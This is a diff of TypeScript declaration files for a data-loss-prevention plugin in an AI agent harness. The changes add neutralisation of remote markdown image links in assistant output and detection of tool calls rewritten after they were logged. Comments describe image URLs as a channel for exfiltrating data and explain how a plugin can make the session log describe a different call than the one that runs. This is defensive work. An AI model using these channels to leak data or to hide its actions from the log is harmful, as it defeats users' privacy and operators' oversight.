+export declare const BLOCKED_IMAGE_DESTINATION = "dsh-dlp-blocked-remote-image";
+/**
+ * Longest suffix held back waiting for an image to complete.
+ *
+ * Held text is text the user cannot see yet, so the wait is bounded: past this
+ * many characters the suffix is emitted as it stands and a destination that
+ * completes later is caught only by the assembled block. A protocol bound on
+ * this module's own buffering, not a deployment choice.
+ */
+export declare const MAX_HELD_CHARACTERS = 4096;
+/** One string after its remote image destinations were replaced. */
+export interface NeutralizedText {
+    readonly text: string;
+    /** Hostnames of the replaced destinations, in match order; never the full URL. */
+    readonly hosts: readonly string[];
+}
+/**
+ * Replace every absolute HTTP(S) inline image destination in one string.
+ * @param text - assistant text, whole or partial.
+ * @returns the rewritten text and the hosts whose destinations were replaced.
+ */
+export declare function neutralizeRemoteImages(text: string): NeutralizedText;
+/**
+ * Where the held suffix of a partially streamed string starts.
+ * @param text - everything accumulated for one block and not yet emitted.
+ * @returns the offset to emit up to; the string's length when nothing is held.
+ */
+export declare function heldSuffixStart(text: string): number;
+/**
+ * Wrap one model stream, replacing remote image destinations in its text.
+ *
+ * Text deltas are rewritten as they pass, with a possible image start held
+ * back until it resolves, and the assembled block on `block-end` — which is
+ * what the agent loop turns into the assistant message — is rewritten too. A
+ * held suffix is always flushed as a delta before the block closes and before
+ * the terminal finish, so no text is lost and the emitted chunks still satisfy
+ * the stream grammar.
+ * @param source - the stream from the rest of the waterfall.
+ * @param onNeutralized - notified once per host per text block.
+ * @returns the rewritten stream.
+ */
+export declare function neutralizeImageStream(source: AsyncIterable<StreamChunk>, onNeutralized: (host: string) => void): AsyncIterable<StreamChunk>;
+//# sourceMappingURL=images.d.ts.map

package/lib/types/index.d.ts

@@ -14,6 +14,15 @@
  *    a result that cannot be cleaned is withheld rather than accepted.
  * 4. `session-telemetry/record` — fail-closed redaction of exported telemetry,
  *    reaching tier 1 only because the waterfall is synchronous.
+ * 5. `llm/stream` — neutralising remote markdown image destinations in
+ *    assistant output, before the text becomes a session event.
+ *
+ * Three of those registrations mitigate defects in the harness rather than in
+ * a deployment's own configuration: the missing Content-Security-Policy behind
+ * (5), the mutable execution object behind the guard's mutation check, and the
+ * silently inert telemetry seam behind the notice reported at mount. Each one
+ * is partial, none closes its channel, and README.md says so beside the
+ * feature.
  *
  * This plugin is not a containment boundary. It runs in-process at the agent's
  * own uid; anything the agent can execute can read the same files the guard

package/lib/types/mutation.d.ts

@@ -0,0 +1,83 @@
+/**
+ * Detecting a tool call that was rewritten after it was logged.
+ *
+ * The registry deep-freezes `exec.arguments` but does not freeze the execution
+ * object until results are notified, so a `tools/pre-execute` listener can
+ * reassign `exec.arguments` or `exec.name` — and reassigning `exec.name`
+ * changes which tool body runs. The agent loop appended `tool/call` from the
+ * model's own response block before the waterfall ran, so nothing in the
+ * session log records the change: the durable record then describes a
+ * different call than the one about to execute.
+ *
+ * This module snapshots the call as early in the waterfall as it can and
+ * compares in the guard, which runs after the whole waterfall and cannot be
+ * out-ordered. It is detection, not prevention: preventing the rewrite would
+ * mean freezing an object this plugin does not own, and the snapshot itself is
+ * best-effort — a later `{ prepend: true }` registration runs ahead of ours and
+ * would be snapshotted after its own rewrite.
+ * @module dsh-dlp/mutation
+ */
+import type { ToolExecution } from '@deepseek-ai/dsh-tools';
+import type { SpanHasher } from './redaction.ts';
+/** The parts of an execution this module compares. */
+type Comparable = Pick<ToolExecution, 'name' | 'arguments'>;
+/** One rewritten field. */
+export type MutatedField = 'name' | 'arguments';
+/** A call whose identity changed between the snapshot and the guard. */
+export interface ExecutionMutation {
+    /** Which fields differ, in a stable order. */
+    readonly fields: readonly MutatedField[];
+    /** The tool name the session log recorded. */
+    readonly originalTool: string;
+}
+/**
+ * Render a JSON value with object keys in a fixed order, so two equal argument
+ * sets hash equally whatever order a listener rebuilt them in.
+ * @param value - the argument value; JSON-serializable by the registry's own snapshot step.
+ * @returns a canonical string for hashing.
+ */
+export declare function canonicalJson(value: unknown): string;
+/**
+ * Remembers what each pending call looked like before the rest of the
+ * `tools/pre-execute` waterfall ran.
+ *
+ * Keyed by the execution object's identity in a `WeakMap`, the way the
+ * registry keys its own per-execution state, so the entry is found again in
+ * the guard and released with the execution.
+ */
+export declare class ExecutionSnapshots {
+    #private;
+    /**
+     * @param hasher - mints the keyed digest of the arguments; the values themselves are never stored.
+     */
+    constructor(hasher: SpanHasher);
+    /**
+     * Snapshot one pending call.
+     * @param exec - the execution as the earliest listener sees it.
+     */
+    record(exec: Comparable): void;
+    /**
+     * Compare one call against its snapshot.
+     *
+     * A call with no snapshot is not a finding: the listener may never have run
+     * for it, and reporting absence as mutation would deny calls this plugin
+     * simply did not observe.
+     * @param exec - the execution as the guard stage sees it.
+     * @returns what changed, or `undefined` when nothing did.
+     */
+    detect(exec: Comparable): ExecutionMutation | undefined;
+}
+/**
+ * Denial text for a rewritten call.
+ *
+ * Both tool names are named: a tool name is already in the session log and in
+ * every other denial this plugin writes, and naming them is the whole point —
+ * the operator needs to know which call the log describes and which one was
+ * about to run. No argument value appears.
+ * @param exec - the call as the guard sees it, after the rewrite.
+ * @param mutation - the fields that changed and the recorded tool name.
+ * @returns the model-facing reason.
+ */
+export declare function mutationReason(exec: Comparable, mutation: ExecutionMutation): string;
+export {};
+//# sourceMappingURL=mutation.d.ts.map

package/lib/types/policy.d.ts

@@ -33,12 +33,14 @@ export interface Config {
     resultRedaction: boolean;
     /** Whether `session-telemetry/record` redaction runs. */
     telemetryRedaction: boolean;
+    /** Whether remote markdown image destinations are neutralised in assistant output. */
+    remoteImageNeutralization: boolean;
     /** Whether telemetry's `session.cwd` attribute is replaced with a keyed hash. */
     redactTelemetryWorkspacePaths: boolean;
 }
 export declare const Config: z<Config>;
 /** Config toggles a repo-local policy may switch on, and never off. */
-declare const ENABLEABLE: readonly ["breadthTier", "resultRedaction", "telemetryRedaction", "redactTelemetryWorkspacePaths"];
+declare const ENABLEABLE: readonly ["breadthTier", "resultRedaction", "telemetryRedaction", "remoteImageNeutralization", "redactTelemetryWorkspacePaths"];
 /** One toggle name a repo-local policy may name in `enable`. */
 export type EnableableToggle = typeof ENABLEABLE[number];
 /** Payload version this package writes and accepts for repo-local policy files. */
@@ -59,6 +61,7 @@ export interface ResolvedPolicy {
     readonly breadthTier: boolean;
     readonly resultRedaction: boolean;
     readonly telemetryRedaction: boolean;
+    readonly remoteImageNeutralization: boolean;
     readonly redactTelemetryWorkspacePaths: boolean;
 }
 /** Thrown when a policy file is malformed or attempts to loosen the policy. */

package/lib/types/sink.d.ts

@@ -28,7 +28,7 @@ export declare function newDecisionId(): DecisionId;
 /** Payload version carried inside every record this plugin writes. */
 export declare const RECORD_VERSION = 1;
 /** What produced one audit record. */
-export type AuditKind = 'guard-deny' | 'pre-execute-deny' | 'result-redaction' | 'telemetry-redaction' | 'audit-failure';
+export type AuditKind = 'guard-deny' | 'pre-execute-deny' | 'execution-mutation' | 'result-redaction' | 'telemetry-redaction' | 'assistant-image-neutralized' | 'audit-failure';
 /** One durable record. Never carries matched secret text. */
 export interface AuditRecord {
     readonly v: number;
@@ -62,6 +62,17 @@ export interface AuditRecord {
     readonly unicode?: Readonly<Record<string, number>>;
     /** Telemetry record channel, for `telemetry-redaction`. */
     readonly channel?: string;
+    /** Fields another plugin rewrote after the call was logged, for `execution-mutation`. */
+    readonly mutatedFields?: readonly string[];
+    /** Tool name the session log recorded, when a rewrite changed it. */
+    readonly originalTool?: string;
+    /**
+     * Hostname of a neutralised remote image destination, for
+     * `assistant-image-neutralized`. The hostname only: a path and a query
+     * string are where an exfiltration payload rides, and this file must not
+     * carry it.
+     */
+    readonly host?: string;
 }
 /** Append-only JSONL sink for this plugin's decisions. */
 export declare class AuditSink {

package/lib/types/telemetry.d.ts

@@ -25,9 +25,24 @@
  * workspace path.
  * @module dsh-dlp/telemetry
  */
-import type { SessionTelemetryRecord } from '@deepseek-ai/dsh-session-telemetry';
+import type { SessionTelemetryRecord, SessionTelemetrySharingStatus } from '@deepseek-ai/dsh-session-telemetry';
 import type { ResolvedPolicy } from './policy.ts';
 import { type RedactedSpan, type SpanHasher } from './redaction.ts';
+/**
+ * What to tell the operator when the redaction seam will never dispatch.
+ *
+ * A `session-telemetry/record` listener mounts successfully and never runs
+ * unless a backend built a coordinator, and the shipped default builds none:
+ * the mode is `DISABLED`, so nothing is exported and nothing is dispatched.
+ * That is the safe posture, not a leak — but an operator who mounts a redactor
+ * under it sees every signal of success and has verified nothing. The
+ * backend's own `sharing` disclosure is the resolved answer, so this never
+ * guesses at `DSH_TELEMETRY_MODE`, which is only the base patch's default
+ * expression for a `mode` a deployment can also set directly.
+ * @param sharing - the mounted backend's disclosure, or `undefined` when no backend is mounted.
+ * @returns the line to report, or `undefined` when the seam does dispatch.
+ */
+export declare function telemetrySeamNotice(sharing: SessionTelemetrySharingStatus | undefined): string | undefined;
 /** Rule identity recorded when a workspace path is replaced. */
 export declare const WORKSPACE_PATH_RULE = "dsh-dlp/telemetry-workspace-path";
 /** One redacted telemetry record and what was replaced in it. */

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "dsh-dlp",
-  "version": "0.2.0",
+  "version": "0.3.0",
   "description": "Data-loss-prevention plugin for DeepSeek Harness: a non-configurable tool guard floor, tool-result redaction, and fail-closed telemetry redaction",
   "license": "MIT",
   "author": "Ivan Tyshchenko <nsof@protonmail.com>",